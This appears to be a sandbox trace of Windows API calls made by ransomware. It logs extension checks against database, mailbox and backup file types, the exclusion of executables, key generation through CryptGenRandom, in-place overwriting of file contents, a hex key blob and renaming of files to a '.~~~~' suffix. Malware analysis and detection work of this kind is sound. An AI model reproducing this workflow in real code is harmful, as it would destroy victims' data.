	[0143.866] lstrlenW (lpString=".pst") returned 4
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".pst") returned 0x0
	[0143.866] lstrlenW (lpString=".dbv") returned 4
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dbv") returned 0x0
	[0143.866] lstrlenW (lpString=".SDF") returned 4
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".SDF") returned 0x0
	[0143.866] lstrlenW (lpString=".dtxs") returned 5
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.866] lstrlenW (lpString=".db3") returned 4
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".db3") returned 0x0
	[0143.866] lstrlenW (lpString=".OST") returned 4
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".OST") returned 0x0
	[0143.866] lstrlenW (lpString=".dbx") returned 4
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dbx") returned 0x0
	[0143.866] lstrlenW (lpString=".DB3") returned 4
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DB3") returned 0x0
	[0143.866] lstrlenW (lpString=".DAT") returned 4
	[0143.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DAT") returned 0x0
	[0143.867] lstrlenW (lpString=".VHDX") returned 5
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.867] lstrlenW (lpString=".ndf") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".ndf") returned 0x0
	[0143.867] lstrlenW (lpString=".DB") returned 3
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DB") returned 0x0
	[0143.867] lstrlenW (lpString=".sql") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".sql") returned 0x0
	[0143.867] lstrlenW (lpString=".MYD") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".MYD") returned 0x0
	[0143.867] lstrlenW (lpString=".DBT") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DBT") returned 0x0
	[0143.867] lstrlenW (lpString=".ACCDB") returned 6
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.867] lstrlenW (lpString=".fdb") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".fdb") returned 0x0
	[0143.867] lstrlenW (lpString=".bak") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".bak") returned 0x0
	[0143.867] lstrlenW (lpString=".myd") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".myd") returned 0x0
	[0143.867] lstrlenW (lpString=".DTXS") returned 5
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.867] lstrlenW (lpString=".ckp") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".ckp") returned 0x0
	[0143.867] lstrlenW (lpString=".dbt") returned 4
	[0143.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".dbt") returned 0x0
	[0143.867] lstrlenW (lpString=".db") returned 3
	[0143.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".db") returned 0x0
	[0143.868] lstrlenW (lpString=".TXT") returned 4
	[0143.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".TXT") returned 0x0
	[0143.868] lstrlenW (lpString=".MDF") returned 4
	[0143.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".MDF") returned 0x0
	[0143.868] lstrlenW (lpString=".bdb") returned 4
	[0143.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".bdb") returned 0x0
	[0143.868] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.868] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0143.869] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.869] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0143.870] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26385995131) returned 1
	[0143.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf27a330, dwHighDateTime=0x1d60e1e)) 
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd2d8
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd2d8 | out: hHeap=0x300000) returned 1
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9360
	[0143.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6b38
	[0143.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9360 | out: hHeap=0x300000) returned 1
	[0143.871] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0143.871] GetLastError () returned 0x0
	[0143.871] GetLastError () returned 0x0
	[0143.871] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0143.871] GetLastError () returned 0x0
	[0143.871] GetLastError () returned 0x0
	[0143.871] ReadFile (in: hFile=0x10c, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x2ade, lpOverlapped=0x0) returned 1
	[0143.875] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd522, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.875] WriteFile (in: hFile=0x10c, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x2ade, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x2ade, lpOverlapped=0x0) returned 1
	[0143.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0143.875] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.875] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.876] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.876] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.876] CloseHandle (hObject=0x10c) returned 1
	[0143.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9360
	[0143.876] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif.~~~~")) returned 1
	[0143.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9360 | out: hHeap=0x300000) returned 1
	[0143.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0143.879] GetLastError () returned 0x0
	[0143.879] RtlWakeConditionVariable () returned 0x0
	[0143.879] GetCurrentThreadId () returned 0x9cc
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".scr") returned 0x0
	[0143.880] lstrlenW (lpString=".cmd") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".cmd") returned 0x0
	[0143.880] lstrlenW (lpString=".dll") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dll") returned 0x0
	[0143.880] lstrlenW (lpString=".bat") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".bat") returned 0x0
	[0143.880] lstrlenW (lpString=".cpl") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".cpl") returned 0x0
	[0143.880] lstrlenW (lpString=".sys") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".sys") returned 0x0
	[0143.880] lstrlenW (lpString=".msc") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".msc") returned 0x0
	[0143.880] lstrlenW (lpString=".com") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".com") returned 0x0
	[0143.880] lstrlenW (lpString=".lnk") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".lnk") returned 0x0
	[0143.880] lstrlenW (lpString=".msp") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".msp") returned 0x0
	[0143.880] lstrlenW (lpString=".pif") returned 4
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".pif") returned 0x0
	[0143.880] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0143.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0143.883] lstrlenW (lpString=".sqb") returned 4
	[0143.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".sqb") returned 0x0
	[0143.883] lstrlenW (lpString=".ost") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".ost") returned 0x0
	[0143.884] lstrlenW (lpString=".txt") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".txt") returned 0x0
	[0143.884] lstrlenW (lpString=".mdt") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".mdt") returned 0x0
	[0143.884] lstrlenW (lpString=".BDB") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".BDB") returned 0x0
	[0143.884] lstrlenW (lpString=".eql") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".eql") returned 0x0
	[0143.884] lstrlenW (lpString=".DBF") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DBF") returned 0x0
	[0143.884] lstrlenW (lpString=".EQL") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".EQL") returned 0x0
	[0143.884] lstrlenW (lpString=".FDB") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".FDB") returned 0x0
	[0143.884] lstrlenW (lpString=".EDB") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".EDB") returned 0x0
	[0143.884] lstrlenW (lpString=".DACPAC") returned 7
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DACPAC") returned 0x0
	[0143.884] lstrlenW (lpString=".VHD") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".VHD") returned 0x0
	[0143.884] lstrlenW (lpString=".DBV") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DBV") returned 0x0
	[0143.884] lstrlenW (lpString=".dacpac") returned 7
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dacpac") returned 0x0
	[0143.884] lstrlenW (lpString=".sdf") returned 4
	[0143.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".sdf") returned 0x0
	[0143.884] lstrlenW (lpString=".accdb") returned 6
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".accdb") returned 0x0
	[0143.885] lstrlenW (lpString=".DBX") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DBX") returned 0x0
	[0143.885] lstrlenW (lpString=".MDT") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".MDT") returned 0x0
	[0143.885] lstrlenW (lpString=".SQB") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".SQB") returned 0x0
	[0143.885] lstrlenW (lpString=".vhd") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".vhd") returned 0x0
	[0143.885] lstrlenW (lpString=".bac") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".bac") returned 0x0
	[0143.885] lstrlenW (lpString=".mdf") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".mdf") returned 0x0
	[0143.885] lstrlenW (lpString=".BAK") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".BAK") returned 0x0
	[0143.885] lstrlenW (lpString=".BAC") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".BAC") returned 0x0
	[0143.885] lstrlenW (lpString=".dbs") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dbs") returned 0x0
	[0143.885] lstrlenW (lpString=".vhdx") returned 5
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".vhdx") returned 0x0
	[0143.885] lstrlenW (lpString=".NDF") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".NDF") returned 0x0
	[0143.885] lstrlenW (lpString=".dat") returned 4
	[0143.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dat") returned 0x0
	[0143.885] lstrlenW (lpString=".DBS") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DBS") returned 0x0
	[0143.886] lstrlenW (lpString=".CKP") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".CKP") returned 0x0
	[0143.886] lstrlenW (lpString=".edb") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".edb") returned 0x0
	[0143.886] lstrlenW (lpString=".PST") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".PST") returned 0x0
	[0143.886] lstrlenW (lpString=".dbf") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dbf") returned 0x0
	[0143.886] lstrlenW (lpString=".SQL") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".SQL") returned 0x0
	[0143.886] lstrlenW (lpString=".pst") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".pst") returned 0x0
	[0143.886] lstrlenW (lpString=".dbv") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dbv") returned 0x0
	[0143.886] lstrlenW (lpString=".SDF") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".SDF") returned 0x0
	[0143.886] lstrlenW (lpString=".dtxs") returned 5
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dtxs") returned 0x0
	[0143.886] lstrlenW (lpString=".db3") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".db3") returned 0x0
	[0143.886] lstrlenW (lpString=".OST") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".OST") returned 0x0
	[0143.886] lstrlenW (lpString=".dbx") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dbx") returned 0x0
	[0143.886] lstrlenW (lpString=".DB3") returned 4
	[0143.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DB3") returned 0x0
	[0143.886] lstrlenW (lpString=".DAT") returned 4
	[0143.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DAT") returned 0x0
	[0143.887] lstrlenW (lpString=".VHDX") returned 5
	[0143.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".VHDX") returned 0x0
	[0143.887] lstrlenW (lpString=".ndf") returned 4
	[0143.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".ndf") returned 0x0
	[0143.887] lstrlenW (lpString=".DB") returned 3
	[0143.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DB") returned 0x0
	[0143.887] lstrlenW (lpString=".sql") returned 4
	[0143.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".sql") returned 0x0
	[0143.887] lstrlenW (lpString=".MYD") returned 4
	[0143.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".MYD") returned 0x0
	[0143.887] lstrlenW (lpString=".DBT") returned 4
	[0143.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DBT") returned 0x0
	[0143.940] lstrlenW (lpString=".ACCDB") returned 6
	[0143.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".ACCDB") returned 0x0
	[0143.940] lstrlenW (lpString=".fdb") returned 4
	[0143.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".fdb") returned 0x0
	[0143.940] lstrlenW (lpString=".bak") returned 4
	[0143.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".bak") returned 0x0
	[0143.956] lstrlenW (lpString=".myd") returned 4
	[0143.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".myd") returned 0x0
	[0143.956] lstrlenW (lpString=".DTXS") returned 5
	[0143.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".DTXS") returned 0x0
	[0143.956] lstrlenW (lpString=".ckp") returned 4
	[0143.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".ckp") returned 0x0
	[0143.956] lstrlenW (lpString=".dbt") returned 4
	[0143.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", lpSrch=".dbt") returned 0x0
	[0143.956] lstrlenW (lpString=".db") returned 3
